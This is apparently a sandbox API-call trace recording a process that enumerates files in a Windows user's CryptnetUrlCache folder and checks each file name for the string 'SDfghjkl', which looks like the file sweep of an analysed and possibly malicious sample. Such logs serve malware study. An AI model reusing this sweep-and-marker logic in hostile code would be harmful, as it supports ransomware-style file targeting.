[0131.096] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned 118
[0131.096] StrStrIW (lpFirst="3130B1871A126520A8C47861EFE3ED4D", lpSrch="SDfghjkl") returned 0x0
[0131.096] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 151
[0131.097] StrStrIW (lpFirst="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 151
[0131.097] StrStrIW (lpFirst="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 151
[0131.097] StrStrIW (lpFirst="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 151
[0131.097] StrStrIW (lpFirst="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 151
[0131.097] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 151
[0131.097] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 151
[0131.097] StrStrIW (lpFirst="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned 118
[0131.097] StrStrIW (lpFirst="696F3DE637E6DE85B458996D49D759AD", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 151
[0131.097] StrStrIW (lpFirst="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned 118
[0131.097] StrStrIW (lpFirst="7396C420A8E1BC1DA97F1AF0D10BAD21", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1
[0131.097] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 151
[0131.097] StrStrIW (lpFirst="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpSrch="SDfghjkl") returned 0x0
[0131.097] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1
[0131.098] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 118
[0131.098] StrStrIW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch="SDfghjkl") returned 0x0
[0131.098] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1
[0131.098] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 151
[0131.098] StrStrIW (lpFirst="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpSrch="SDfghjkl") returned 0x0
[0131.098] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1
[0131.099] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 151
[0131.099] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpSrch="SDfghjkl") returned 0x0
[0131.099] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1
[0131.099] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 151
[0131.099] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpSrch="SDfghjkl") returned 0x0
[0131.099] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1
[0131.099] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 151
[0131.099] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpSrch="SDfghjkl") returned 0x0
[0131.099] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1
[0131.099] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 151
[0131.099] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpSrch="SDfghjkl") returned 0x0
[0131.099] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1
[0131.099] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 151
[0131.099] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpSrch="SDfghjkl") returned 0x0
[0131.099] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1
[0131.099] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 151
[0131.099] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpSrch="SDfghjkl") returned 0x0
[0131.099] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1
[0131.099] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 151
[0131.099] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 151
[0131.100] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 151
[0131.100] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 151
[0131.100] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpSrch="SDfghjkl") returned 0x0
